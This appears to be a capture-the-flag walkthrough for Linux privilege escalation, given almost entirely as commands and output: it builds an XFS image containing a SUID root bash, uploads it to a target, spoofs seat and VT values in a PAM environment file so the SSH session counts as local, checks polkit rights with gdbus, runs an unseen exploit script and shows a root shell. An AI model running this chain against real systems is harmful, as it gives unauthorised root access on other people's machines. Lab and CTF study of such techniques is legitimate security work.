# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image

# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt

# Verify (should show 300M)
ls -lh xfs.image

# Upload exploit script and image
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/

# SSH login to target
ssh [email protected]

# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

# Verify configuration
cat ~/.pam_environment

# 🔥 Critical: Logout (to activate PAM config)
exit

# Re-login via SSH (PAM config now active)
ssh [email protected]

# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
    --object-path /org/freedesktop/login1 \
    --method org.freedesktop.login1.Manager.CanReboot

# Execute privilege escalation script
bash exp.sh

✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!

════════════════════════════════════════════════════════════
║ ROOT FLAG                                               ║
║ <flag_here>                                             ║
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bash-5.2# whoami
root